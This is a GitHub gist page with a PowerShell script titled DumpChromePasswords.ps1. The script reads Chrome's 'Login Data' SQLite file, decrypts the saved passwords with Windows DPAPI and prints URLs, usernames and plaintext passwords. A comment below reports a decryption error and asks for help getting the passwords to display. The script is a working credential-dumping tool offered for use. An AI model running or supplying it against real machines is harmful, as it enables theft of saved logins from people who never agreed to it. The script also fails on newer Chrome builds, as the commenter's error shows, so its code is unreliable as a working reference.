Skip to content

Instantly share code, notes, and snippets.

@K-Mistele
Created June 24, 2021 15:56
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save K-Mistele/d99cd5c4e685d7d7a40338d8541a7d73 to your computer and use it in GitHub Desktop.
Save K-Mistele/d99cd5c4e685d7d7a40338d8541a7d73 to your computer and use it in GitHub Desktop.
@0gtweet's DumpChromePasswords.ps1
$sqlitedll = ".\System.Data.SQLite.dll"
if (!(Test-Path -Path $sqlitedll))
{
Write-Host "Grab your copy of System.Data.SQLite.dll. " -ForegroundColor Yellow
Write-Host "Most likely from https://system.data.sqlite.org/downloads/1.0.113.0/sqlite-netFx40-static-binary-bundle-x64-2010-1.0.113.0.zip" -ForegroundColor Yellow
Write-Host "Your bitness is:" (8*[IntPtr]::Size) -ForegroundColor Yellow
Write-Host "Your .Net version is:" $PSVersionTable.CLRVersion -ForegroundColor Yellow
Write-Host 'No installation needed. Just unzip and update the $sqlitedll variable above.' -ForegroundColor Yellow
return
}
$dbpath = (Get-ChildItem Env:\LOCALAPPDATA).Value+"\Google\Chrome\User Data\Default\Login Data"
if (!(Test-Path -Path $dbpath))
{
Write-Host "Cannot find your ""Login Data"" file." -ForegroundColor Yellow
return
}
Add-Type -AssemblyName System.Security
Add-Type -Path $sqlitedll
$conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection
$conn.ConnectionString = ("Data Source="""+$dbpath+"""")
$conn.Open()
$sql = $conn.CreateCommand()
$sql.CommandText = "SELECT origin_url, username_value, password_value FROM logins"
$adapter = New-Object -TypeName System.Data.SQLite.SQLiteDataAdapter $sql
$data = New-Object System.Data.DataSet
$adapter.Fill($data)
$arrExp=@()
foreach ($datarow in $data.Tables.rows)
{
$row = New-Object psobject
$row | Add-Member -Name URL -MemberType NoteProperty -Value ($datarow.origin_url)
$row | Add-Member -Name UserName -MemberType NoteProperty -Value ($datarow.username_value)
$row | Add-Member -Name Password -MemberType NoteProperty -Value (([System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))))
$arrExp += $row
}
$sql.Dispose()
$conn.Close()
# Let's display the result
if (Test-Path Variable:PSise)
{
$arrExp | Out-GridView
}
else
{
$arrExp | Format-Table
}
@agamsol
Copy link

agamsol commented Feb 9, 2022

Hello..

When I run this script with the DLL included in the zip file

I do get the URL table displayed

other than that I get an error spammed a lot of times into my console. (CMD.exe)

Exception calling "Unprotect" with "3" argument(s): "The parameter is incorrect.
"
At C:\Users\Agam\Desktop\ExtractChromePasswords.ps1:39 char:5
+     $row | Add-Member -Name Password -MemberType NoteProperty -Value  ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CryptographicException

Ill be ver happy if you explain to me what can I do in order to fix this problem and display the UserName and Password as expected!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment